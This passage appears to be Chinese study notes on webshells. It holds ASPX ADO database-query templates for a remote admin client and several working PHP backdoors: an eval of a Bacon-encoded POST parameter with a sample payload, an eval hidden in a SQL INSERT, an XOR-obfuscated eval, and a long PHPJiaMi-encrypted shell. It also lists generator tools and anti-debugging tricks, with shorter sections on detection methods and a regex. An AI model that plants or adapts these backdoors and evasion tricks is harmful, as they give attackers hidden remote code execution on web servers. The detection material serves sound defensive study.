////////////////////ASPX_ADO//////////////////////////// <DB_ASPX_ADO_DBLIST> var Conn=new ActiveXObject("Adodb.connection");Conn.Open("%s");Response.Write("[ADO DATABASE]\t");Conn.Close(); </DB_ASPX_ADO_DBLIST> <DB_ASPX_ADO_TABLELIST> var Conn=new ActiveXObject("Adodb.connection");Conn.ConnectionString="%s";Conn.ConnectionTimeout=10;Conn.Open();var Rs=Conn.OpenSchema(20);var x:String="";while(!Rs.EOF && !Rs.BOF){if(Rs.Fields(3).Value=="TABLE"){x+=Rs.Fields(2).Value+"\t";}Rs.MoveNext();}Rs.Close();Conn.Close();Response.Write(x); </DB_ASPX_ADO_TABLELIST> <DB_ASPX_ADO_COLUMNLIST> var Conn=new ActiveXObject("Adodb.connection");Conn.Open("%s");var Rs=new ActiveXObject("ADODB.Recordset");Rs.Open("%s",Conn,1,1);var c:Int32;for(c=0;c<=Rs.Fields.Count-1;c++){Response.Write(Rs.Fields.Item(c).Name+"\t");}Rs.Close();Conn.Close(); </DB_ASPX_ADO_COLUMNLIST> <DB_ASPX_ADO_EXECUTESQL> var er:Exception;try{var Conn=new ActiveXObject("Adodb.connection");Conn.ConnectionString="%s";Conn.ConnectionTimeout=10;Conn.Open();var CO:String="\t|\t",RN:String="\r\n",Dat:String;var Rs=Conn.Execute("%s");var i:Int32=Rs.Fields.Count,c:Int32;if(i>0){for(c=0;c<i;c++){Response.Write(Rs.Fields(c).Name+CO);}Response.Write(RN);while(!Rs.EOF && !Rs.BOF){for(c=0;c<i;c++){Dat=Rs.Fields(c).Value;Response.Write(Dat);Response.Write(CO);}Response.Write(RN);Rs.MoveNext();}}else{Response.Write("Result"+CO+RN+"Execute Successfully!"+CO+RN);}}catch(er){Response.Write("Result"+CO+RN+er.message+CO+RN);}Conn.Close(); </DB_ASPX_ADO_EXECUTESQL>
0x60: Bacon自定义编码webshell
<?php //beacon编码 function bacon_encode($s) { $KEY = 'aaaaabbbbbabbbaabbababbaaababaab'; $ALPHABET = 'abcdefghijklmnopqrstuvwxyz'; # create list of tuples with key_value_structure = key_letter_of_alphabet //$key_v用于进行beacon翻译 for ($i=0; $i < strlen($ALPHABET); $i++) { $key_v[$ALPHABET[$i]] = substr($KEY, $i, 5); } //将输入密码的大小写模式转换为beacon编码 $newstr = ''; for ($i=0; $i < strlen($s); $i++) { $newstr .= ctype_lower($s[$i]) ? 'a' : 'b'; } $counter = strlen($s); $result = ''; //die(var_dump($key_v)); while($counter > 0){ foreach ($key_v as $key => $value) { if($value == substr($newstr, 0, 5)){ $result .= $key; } } $newstr = substr($newstr, 5); $counter = $counter - 5; } return $result; } @eval(bacon_encode($_POST['caidao'])); ?>
POST:
http://xxx?caidao=
ABAAAABABAABBABBAABBAABAABABBAABBABBAABB
// 这里key的值caidao本身也可以进行编码,通过编码的方式得到key值 <PHP_BASE.加密示例> ABAAAABABAABBABBAABBAABAABABBAABBABBAABB%%3D&id=%s </PHP_BASE.加密示例>
这里bacon解码是采用大小写方式,隐蔽性更强,通过这种隐写的思路,在流量中只会出现一些大小写交叉分布的"合法字符",恶意特征这个检测维度将不复存在
Relevant Link:
http://mp.weixin.qq.com/s?__biz=MzIyNTA1NzAxOA==&mid=2650473786&idx=1&sn=59747e20fe97ca8249d5d2584bc5d030&scene=2&srcid=0621Qf07ZS5zGrDO7HapV5Qz&from=timeline&isappinstalled=0
0x61: 用双引号、单引号包裹
INSERT INTO `dede_mytag` VALUES('26635','0','','0','0','0','<?php @eval($_POST[ou])?>',''); 111
PHP的解释引擎会自动忽略<?php之前的字符(包括单引号、双引号),直到遇到<?php开始解析jit执行,黑客利用这种方式将webshell隐藏地像一个sql文件一样
0x62: 用异或隐藏关键字
<?php @$_++; $__=("#"^"|"); $__.=("."^"~"); $__.=("/"^"`"); $__.=("|"^"/"); $__.=("{"^"/"); @eval(${$__}[!$_]); ?>
4. webshell变种后门生成工具介绍
webshell的自动化生成和混淆工具目前已经有很多不错的工具可用了
1. webacoo https://github.com/anestisb/WeBaCoo/ 2. weevely https://github.com/epinna/weevely/
http://www.freebuf.com/tools/39765.html
3. Hookworm https://github.com/modcloth-labs/hookworm 4. hidemyphpshell.py http://hackeruna.com/2011/09/06/hidemyphpshell-ofuscador-de-codigo-php/
这几款工具,都有简单易用的命令行界面,可以方便地生成webshell
5. webshell的检测技术
这块内容目前刚开始接触,还有待深入学习,应该在之后的学习笔记中会继续研究
目前webshell的检测主要分为静态检测和动态检测。
静态检测主要是基于以下几点: 1) 基于正则的特征匹配: webshell常常表现出一些有别于正常业务代码的特征 典型的代表: LMD (Linux Malware Detect) scanner http://www.clamav.net/lang/en/ 2) 基于文本的统计特征的阈值分析: webshell由于往往经过了编码和加密,会表现出一些特别的统计特征 典型的代表: NeoPI -- https://github.com/Neohapsis/NeoPI 3) 基于文件间"关联性"的分析: webshell一般和原始目录下的其他正常文件关联性较低
动态检测主要是基于以下几点:
1) 编写PHP扩展,对关键函数的执行进行HOOK,例如system等函数,这样,就可以创造出一个PHP的执行沙箱,进行虚拟机检测 2) 进行磁盘文件系统的实时监控,getshell的过程一定会涉及到磁盘的读写,利用windows提供的API: http://msdn.microsoft.com/en-us/library/windows/desktop/ms687025(v=vs.85).aspx WaitForMultipleObjects function http://msdn.microsoft.com/en-us/library/windows/desktop/aa365465(v=vs.85).aspx ReadDirectoryChangesW function 可以实现对磁盘操作的实时监控,对可疑的webshell创建进行分析、检测、拦截
6. webshell隐藏反检测对抗手段
webshell隐藏与检测对抗中开始出现了大量的"在线加密工具",其中开始引入了二进制反调试、反检测对抗的一些思路
0x1: 反调试手段
参考了传统二进制反调试手段,webshell也引入了同样的技术
1. 验证文件MD5值 2. 限制IP 3. 限域名 4. 限时间 5. 防破解 6. 防命令行调试 //源码+加密外壳 == 加密程序
1. 防命令行调试
防止PHP命令行模式,因为我们IIS 或APACHE 都是工作在ISAPI或者CGI模式,是不会出现CLI .可以防止程序破解
if (php_sapi_name() == "cli") { echo "请不要破解本程序"; exit; }
2. 验证文件MD5值
MD5的方式,此方式较复杂。一般会将一段加密后的代码,判断MD5值,写入到PHP中。程序运行的时间读取这一段MD5值,并判断。如果值不相同则停止运行。常见的加密文件,不可修改,修改即无法执行也是这个原因
0x2: 代码混淆手段
黑客采用ASCII码(129-255)之间的字符来加密,造成代码不可读,以此对大马/一句话进行隐藏
<?php /* PHP Encode by http://Www.PHPJiaMi.Com/ */ error_reporting(0); ini_set("display_errors", 0); if(!defined('lrwysyfg')){define('lrwysyfg',__FILE__); if (function_exists(" ìó‡—óìœ")==false){function œ¦ë¢ñÝ©($‰úà•óÌãŽø){global$¯Ã¸’щúÞ„,$¢™ìëÛíÛ,$¯³˜®ìûÃ,$É´‚úùÒ¾èøàÓ,$ºÍè–Ù¿Æä,$¾Êåø ›Õèêø,$ÌÞÍ¦í¾¨¢é,$¶ò˼ÈãˆÜØ,$¥“¦‰ªÎ,$®óëãâæ…â¿,$ žšÎµ ,$ÁÛ¾îϬÜç,$µŒéë¾û¨¹Ã¤”,$Ì纓“åúÙ,$ÂÊ„©À¹Óÿ´–¤,$žÞèú›¸´;$œè§Å”Þú¦þ‘=$˜î…ƒ¹é=$¼üáʹކ°ç=$±ÓƒìżٽÙ÷=$ËÌŽÚ‰¯¡=$Ãá—ÿ³š=$ŸÔù„™”¶ž˜ñ=$œêÃú¥¿û=$Ž‘»ð‰Ä³Áó¶=$̢¯¨ÒÜø»žÝ=$¿¾ŸÌù¯û¨š”=$‚Œ±²ƒåŸ=$À¶ðæŽä=$š÷Ì…˜Ž=$…Õ‚è…Éά='Ôãßïì‹ÕŸ';$ÄÒ—Ó°‰„Õ¿=$œè§Å”Þú¦þ‘('ŒAà Š¬¢Š¬ðÞCAA==');$ÇÃÙڵس‚·=$œè§Å”Þú¦þ‘('AAè¦');$ȫȼ¶Ø¼ˆ…=$œè§Å”Þú¦þ‘('Bî5Ê');$ÁÞ׸î–=$œè§Å”Þú¦þ‘('C¢èªŠ¬ØŒCŒÐ¦');$§Ñ„ïŽ÷콺̳=$œè§Å”Þú¦þ‘('¬¬’ªî==');$ÄÒ—Ó°‰„Õ¿()==$ȫȼ¶Ø¼ˆ…?$ÇÃÙڵس‚·():'';$…ßïÜó´¾ß=$¯Ã¸’щúÞ„($¾Êåø ›Õèêø($œè§Å”Þú¦þ‘('CBBAŽÖ¬’B1’=')));$¥—”ÀÃü£¯ü=$ÁÞ׸î–(true)*$§Ñ„ïŽ÷콺̳;eval("");if(($ÁÞ׸î–(true)*$§Ñ„ïŽ÷콺̳-$¥—”ÀÃü£¯ü)>100){$ÇÃÙڵس‚·();}eval($œè§Å”Þú¦þ‘('D¢¢ÌŠŠ”DŠ¬àŠ¨¨Þ8’òà/Æ®Øâ¤Î’¤ªŒ˜¤Ö9¨¬¤ØD¢Œè´¢ÎÈ–¨¤ªŠ¨¬4¤Að²˜ABæÈDªÎ='));!$ žšÎµ ($…Õ‚è…Éά($¢™ìëÛíÛ($…ßïÜó´¾ß,$˜î…ƒ¹é('¦¬²C'),$¼üáʹކ°ç('¦¬š='))),$Ì纓“åúÙ($¢™ìëÛíÛ($…ßïÜó´¾ß,$ËÌŽÚ‰¯¡('¬A=='),$Ãá—ÿ³š('¦¬²B'))))?$–ÁŽ—‰¬·Üö´():$¢ºƒÕ³ÖÁ›;$±Œð‰Ëûí©¦=$ŸÔù„™”¶ž˜ñ('¦¬²Cªî==');$›ÿ—±Ô³©†ŽÇ=$œêÃú¥¿û('¦¬²B');$›ÿ—±Ô³©†ŽÇ=$µŒéë¾û¨¹Ã¤”(@$¥“¦‰ªÎ($¿¾ŸÌù¯û¨š”($¢™ìëÛíÛ($…ßïÜó´¾ß,$±Œð‰Ëûí©¦,$›ÿ—±Ô³©†ŽÇ))));return$›ÿ—±Ô³©†ŽÇ;}function –ôäÀЊڊ”ÿä(){$æØÊñÒ‚Æò='6f6e66723634';$ÄÚÉ‹—µ’='pa';$ÔÆçÑÛ»ë='7374725f';$±ã•±Ó¡“='H'.'*';$ÄÚÉ‹—µ’.='ck';$æØÊñÒ‚Æò.='5f717270627172';$ÔÆçÑÛ»ë.='726f743133';$ˆÎ„ÕÆÏ—ÆÓ¨=$ÄÚÉ‹—µ’($±ã•±Ó¡“,$ÔÆçÑÛ»ë);$“ðžÇ¨ë½Çö=$ˆÎ„ÕÆÏ—ÆÓ¨($ÄÚÉ‹—µ’($±ã•±Ó¡“,$æØÊñÒ‚Æò));return$“ðžÇ¨ë½Çö;}function ìó‡—óìœ(&$Ó…ðç¦Ñîòì,$½ÝУªÎ){$œè§Å”Þú¦þ‘=$˜î…ƒ¹é=$¼üáʹކ°ç=$±ÓƒìżٽÙ÷=$ËÌŽÚ‰¯¡='Ôãßïì‹ÕŸ';$’àà±òד±ôæ=$œè§Å”Þú¦þ‘('Œð´Œ Š¤ÊŒ¢¢Š');$¤¦ì» Ž‹Æ=$˜î…ƒ¹é('Œð´ŒŠ¬œ');$ÆÄÿÛЖ=$¼üáʹކ°ç('AðÐCD¬¬ÊDŠ¬ŒAB²¢');$Ô‘²™ƒ¥=$±ÓƒìżٽÙ÷('Œð´ŒCÖ´CD¬¤ŠD¢A¢');$Óœƒ¢‹öŠ=$±ÓƒìżٽÙ÷('A¤àD1جBA==');$™»û˜ÀÒµ=$’àà±òד±ôæ($¤¦ì» Ž‹Æ($ÆÄÿÛЖ($Ô‘²™ƒ¥($ËÌŽÚ‰¯¡('˜Î–7¢0/ÞΪ7ÞŠê°88Žæ3ò6Š Šì’Ü97ê¤C¦Ü¢ °¢Ø90”ÜŽ®êæš´Öž/Ü7ÖêÂÐ0®A0ÞƪD4BÊ8ÐŽŒÜ²CÎ4®ôŽœ1BÜ+ŒèÔÎÔ¢9ª/Œ®Ä–ÜBÔàòðâì5–ÔÌäCÆ1èÚòî˜Æî®Øô¦Ö ÄÊž99ÊîÄÚŒ+Öä0œòBÂ0´š¤œÊê®æê’Š/Ð78928¢ò´Ø6Cî+¢̦–¢=')))));$ÄØÇàˆ=$Óœƒ¢‹öŠ(',',$™»û˜ÀÒµ);$Ó…ðç¦Ñîòì=$ÄØÇàˆ[$½ÝУªÎ];}function Ôãßïì‹ÕŸ($°ß˜ýÄÄƈ,$ȪÓüßù=''){$–ôäÀЊڊ”ÿä=–ôäÀЊڊ”ÿä();$”¸õÄ‚Ë®=$–ôäÀЊڊ”ÿä('b3Jk');$žâçÕ챃º©=$–ôäÀЊڊ”ÿä('c3RybGVu');$“ðžÇ¨ë½Çö=$–ôäÀЊڊ”ÿä('Y2hy');$ȪÓüßù=!$ȪÓüßù?$”¸õÄ‚Ë®('ˆ'):$ȪÓüßù;$¢ðËÔþ±=$½÷è“äŸÁŽ;for(;$¢ðËÔþ±<$žâçÕ챃º©($°ß˜ýÄÄƈ);$¢ðËÔþ±++)$–ÞŠµ£ÍÝýóƒé.=$”¸õÄ‚Ë®($°ß˜ýÄÄƈ{$¢ðËÔþ±})<$”¸õÄ‚Ë®('õ')?(($”¸õÄ‚Ë®($°ß˜ýÄÄƈ{$¢ðËÔþ±})>$ȪÓüßù&&$”¸õÄ‚Ë®($°ß˜ýÄÄƈ{$¢ðËÔþ±})<$”¸õÄ‚Ë®('õ'))?$“ðžÇ¨ë½Çö($”¸õÄ‚Ë®($°ß˜ýÄÄƈ{$¢ðËÔþ±})/2):$°ß˜ýÄÄƈ{$¢ðËÔþ±}):'';$›ÿ—±Ô³©†ŽÇ=$–ôäÀЊڊ”ÿä($–ÞŠµ£ÍÝýóƒé);$Ì纓“åúÙ=$–ôäÀЊڊ”ÿä('bWQ1');$¢ðËÔþ±=$½÷è“äŸÁŽ;$ȪÓüßù=$Ì纓“åúÙ('8_Q.L2');$”¸õÄ‚Ë®=$ctrmax=$žâçÕ챃º©($ȪÓüßù);for(;$¢ðËÔþ±<$žâçÕ챃º©($›ÿ—±Ô³©†ŽÇ);$¢ðËÔþ±++){$”¸õÄ‚Ë®=$”¸õÄ‚Ë®?$”¸õÄ‚Ë®:$ctrmax;$”¸õÄ‚Ë®--;$‡æȊɘ.=$›ÿ—±Ô³©†ŽÇ[$¢ðËÔþ±]^$ȪÓüßù[$”¸õÄ‚Ë®];}return$‡æȊɘ;}}}global$¯Ã¸’щúÞ„,$™§‘Ë«¼¸²¹·ì,$¢™ìëÛíÛ,$¯³˜®ìûÃ,$É´‚úùÒ¾èøàÓ,$ºÍè–Ù¿Æä,$¾Êåø ›Õèêø,$ÌÞÍ¦í¾¨¢é,$¶ò˼ÈãˆÜØ,$¥“¦‰ªÎ,$®óëãâæ…â¿,$ žšÎµ ,$ÁÛ¾îϬÜç,$µŒéë¾û¨¹Ã¤”,$Ì纓“åúÙ,$ÂÊ„©À¹Óÿ´–¤,$žÞèú›¸´;$ˆµ™ðú˜ú©Ê†=$̳¹Êì†÷í̽=$š´ƒù£œ¬Â=$ŠÒ¹»°È¯ì=$ÄïÛšË⌹®=$¶È¦ªãÏ=$±²Ã¹Ú¥ÖùÙÑ=$ŸËýχÐ÷=$º³«ÑŸû½ªð=$Î㪙†ò舻õ=$‚©Ð‘…Æ=$»¨Œö„ÛÐ=$ž±¨½¦ìì =$³¦•Ì‘çþ=$‘ñëþ¬ã㊩ÀÏ=$‡ø¥«¾•¯ÕË•=$ŠÝî¨=$›ðÓÔÿ´öשÐß=' ìó‡—óìœ';if(!$¯Ã¸’щúÞ„){$ˆµ™ðú˜ú©Ê†($¯Ã¸’щúÞ„,7);$̳¹Êì†÷í̽($¢™ìëÛíÛ,8);$š´ƒù£œ¬Â($ºÍè–Ù¿Æä,9);$ŠÒ¹»°È¯ì($¥“¦‰ªÎ,4);$ÄïÛšË⌹®($®óëãâæ…â¿,12);$¶È¦ªãÏ($ žšÎµ ,11);$±²Ã¹Ú¥ÖùÙÑ($ÁÛ¾îϬÜç,2);$ŸËýχÐ÷($µŒéë¾û¨¹Ã¤”,13);$º³«ÑŸû½ªð($Ì纓“åúÙ,14);$Î㪙†ò舻õ($ÂÊ„©À¹Óÿ´–¤,15);$‚©Ð‘…Æ($žÞèú›¸´,16);$»¨Œö„ÛÐ($ÌÞÍ¦í¾¨¢é,17);$ž±¨½¦ìì ($¶ò˼ÈãˆÜØ,18);$³¦•Ì‘çþ($¾Êåø ›Õèêø,10);$‘ñëþ¬ã㊩ÀÏ($É´‚úùÒ¾èøàÓ,5);$‡ø¥«¾•¯ÕË•($¯³˜®ìûÃ,6);$ŠÝî¨($™§‘Ë«¼¸²¹·ì,1);$›ðÓÔÿ´öשÐß($±ŠœÀðÁ»,3);}$œè§Å”Þú¦þ‘=$˜î…ƒ¹é=$¼üáʹކ°ç=$±ÓƒìżٽÙ÷='Ôãßïì‹ÕŸ';$‰úà•óÌãŽø=$œè§Å”Þú¦þ‘('žî¤Þ');$›ÿ—±Ô³©†ŽÇ=œ¦ë¢ñÝ©($$‰úà•óÌãŽø);$ÂÊ„©À¹Óÿ´–¤($žÞèú›¸´($$‰úà•óÌãŽø));$²†•øÀØÌ=$¶ò˼ÈãˆÜØ($›ÿ—±Ô³©†ŽÇ);$‡æȊɘ=$œè§Å”Þú¦þ‘('A¤¤®Dð5¨AŠ´¦ª1Š8A¢´¢®1”¢Ž¤ô®æ –9Ê6Þ/ÐØ–®Î==');$‡æȊɘ=$ÌÞÍ¦í¾¨¢é($˜î…ƒ¹é('¦1¬¬¬Œœ¢®Bà¦'),$‡æȊɘ,$¼üáʹކ°ç('ªîAABØÆ’'));$ÂÊ„©À¹Óÿ´–¤($žÞèú›¸´($$‰úà•óÌãŽø));return$‡æȊɘ;//end?>˜ÒŠ1’®A˜Ðè6šð¬˜ä6+²4ŽÄÜ5ìÊê/Ê¢ð 6–Ò12°2ÒœAœð5Ì®9îÆÐŒ–CØâ3äBŠDÒCèÐäòBB–ä´C3à”žæè48˜ô3¨æβÞÜÄèšô蘘ÌCÄæÊ´ÒšŽÞ9¤”5°®5òÌšàA9ÄÒ3ŽÂCŠÖîðBš–ªØ²œªB9Ê7C/°9Æ2šÜÒÈ3è¦+Ä¢è–Þ´šÆDŒ´7æ–°ô92AÄÈê/3êØž/¬¦¤äC°C ’òÂê¨à”Bèª A¨4àÐŽÒ2ØC3Úè–ðÜŒÄÖâ 85æ®Ö5žð¦èŒA¤BÆ”Ê9Úâ¢Æ6®9ô¦ÈžÒÜ AàCò+²’žàD625ìŠî¢èÆÂîŒCB––6ÞC8ØŠÐÂÒ1CÞО’è8ð3ìŠØBîCšò˜Ò8¨02ÄîšâÒʨ4ôòäÚ”ÂÊDŠÞÈCà/œÖ¦˜959êâž9°AÆÈÖ1ÔÞ˜ôâªDAÔ´3´êŠâC//ؘè4ð61Æ+˜Œ’3/ÎĬÚA==Å2Îœ¨¬1”°AØ¢A¬1ð¦AŒ²–¬1ªŒB¢9°DÎ9ª¬1’Bªî”ªª¬”È;
检测方法
\$[\x7f-\xff][\w\x7f-\xff]*
为了防止将中文unicode误报,需要连续匹配2个非可见ASCII字符
Relevant Link:
http://www.phpjiami.com/article/25.html http://www.phpjiami.com/article/24.html http://www.phpjiami.com/article/26.html http://ascii.911cha.com/ http://www.ruanyifeng.com/blog/2007/10/ascii_unicode_and_utf-8.html http://www.chi2ko.com/tool/CJK.htm